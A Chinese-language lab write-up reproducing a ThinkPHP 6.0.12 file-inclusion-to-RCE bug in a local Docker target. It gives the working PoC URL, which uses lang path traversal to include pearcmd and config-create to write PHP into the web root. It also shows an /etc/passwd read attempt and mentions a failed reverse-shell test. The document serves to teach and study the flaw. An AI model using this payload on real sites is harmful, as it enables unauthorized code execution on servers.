tp6的rce漏洞
一、环境搭建
使用docker本地搭建tp6环境
1. 下载镜像
docker pull vulfocus/thinkphp:6.0.12
2. 端口映射
启动镜像,并将80端口映射到8081端口,防止80端口冲突,运行容器
docker run -it -d -p 8081:80 1fc5d159922e
3. 打开网站
默认的网页目录是在public目录下,如果不加public目录无法打开网页
二、漏洞复现
poc
http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo();?>+/var/www/html/a.php
使用burp抓包
然后访问a.php,成功解析php代码
三、原理分析
参考文章:
https://tttang.com/archive/1865/#toc_thinkphp-6
https://www.freebuf.com/articles/web/352154.html
首先,需要tp6开启多语言中间件,才能够实现文件包含
具体原理可以去看参考文章
http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../public/index.php
大致上分析是lang这个传的参数,如果不等于默认的参数 zh-cn ,就会调用某个方法,然后不断跟进方法,就可以看到最后会有个include 文件名,这里的文件名就是我们传的参数,因此会造成文件包含
但是直接使用文件包含的话,并没有看到什么效果
可以看到我们想文件包含/etc/passwd,并没有给出回显
http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../etc/passwd
如果说这是文件包含无回显利用的话,那么我传了个php反弹shell文件上传到了/var/www/html/目录下
如果说无回显,但是可以包含文件运行的话,那么就应该触发这个反弹shell,使msf成功连接会话才对,但是这里并未成功
这里也是我不理解的一个点
这个poc是文件包含了/usr/local/lib/php/pearcmd
/usr/local/lib/php/目录下存在pearcmd.php文件
利用这个文件里面的config-create方法来实现写入任意文件任意内容,造成RCE漏洞
但是这个文件既然被文件包含了,而且被运行了,那么为什么我上面试验的反弹shell没有被文件包含,并且执行,很奇怪
可以看到poc里面写着config-create方法
直接查看文件内容是找不到这个方法的,因为它里面还引入了很多文件
通过使用grep递归式的查询可以查找出来
grep -r -E 'config-create' ./php
可以看到是在Config.php文件里面有这个方法
将这个文件复制到本地
docker cp 0501da4d826b:/usr/local/lib/php/PEAR/Command/Config.php ./Config.php
这里的数组是介绍config-create方法
真正实现config-create功能是在下面的doConfigCreate方法中,并且给出需要两个参数
这个方法就是实现创建文件的主要的方法,这也是为什么poc后面的格式是那样写的原因
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo();?>+/var/www/html/a.php
除了上面的grep找config-create方法之外,还可以使用php pearcmd.php
也可以查看到config-create方法的介绍
config-create是用来创建默认文件的